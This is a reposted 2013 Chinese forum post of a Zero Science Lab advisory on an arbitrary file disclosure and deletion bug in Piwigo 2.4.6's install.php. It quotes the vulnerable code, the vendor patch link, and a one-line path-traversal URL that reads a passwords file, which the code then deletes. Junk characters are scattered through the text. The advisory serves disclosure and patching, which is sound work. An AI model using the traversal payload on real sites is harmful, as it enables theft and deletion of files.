找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2295|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。/ l* C4 ]% |1 Z. z$ u+ S# Q
- P+ b% P: ~, I8 F2 G
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
) h2 q" o) j7 d  v& W# U====================================================================
# y" f! T# s1 _! y6 F" H/install.php:
. h" [# u+ X, _7 j- {" @* @0 ^-------------) P! \2 x; ~5 z' x
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& l; `; {# b% ?7 K5 y
114: {
* V0 B) g- I5 y4 N$ y, K' _115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
8 @6 A8 t- j# ?8 i, F7 g9 i" l. @6 {116:   header('Cache-Control: no-cache, must-revalidate');0 @+ h: }/ j. n8 u
117:   header('Pragma: no-cache');
. x/ }% C4 ?' k3 k118:   header('Content-Disposition: attachment; filename="database.inc.php"');- \0 Q4 J5 ]0 J( D/ v. H" n
119:   header('Content-Transfer-Encoding: binary');
2 [7 `! X) z+ T4 _+ @  X+ P120:   header('Content-Length: '.filesize($filename));3 G  F' q) r7 G: |% [
121:   echo file_get_contents($filename);: J4 _$ e& z3 O" A- R& X7 ~
122:   unlink($filename);1 h& B7 t1 V2 n
123:   exit();
: m- M6 @  E  f; @; ]. M( `124: }! `% y5 W/ F+ T8 W
====================================================================/ [# i- w% z2 L$ A' A

. k( U7 [0 l% I2 N( |( Q; x8 UTested on: Microsoft Windows 7 Ultimate SP1 (EN)4 N& P! R4 I3 P. b* c. b
           Apache 2.4.2 (Win32)
+ T; _* |: A3 u" }' c           PHP 5.4.4
# Z. M' d% g" l! g/ d           MySQL 5.5.25a
, B+ ^4 @' F. P# W 2 X7 V& S. \% @2 l1 W# {
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
5 S; `+ g3 o. y; L                            @zeroscience
+ R! r% {: Y% f( Q5 z5 f/ Z
$ p2 {8 z  i( K8 m- fAdvisory ID: ZSL-2013-5127
* g3 x8 z# D0 @: NAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php0 w/ m5 P/ b5 C& _
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843) O6 ]% r/ v3 {/ g! w* f
: S# Q! w" W1 b. q4 ^9 U) j* l
15.02.2013
- V1 ]4 R* q" o3 o9 h/ E ! k/ Q! H2 h0 A, s
--
. T# D; @# G* A% Ahttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
2 Q  x* V7 B4 {. E3 }% w) i6 M( | 8 g1 c( M/ h, N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表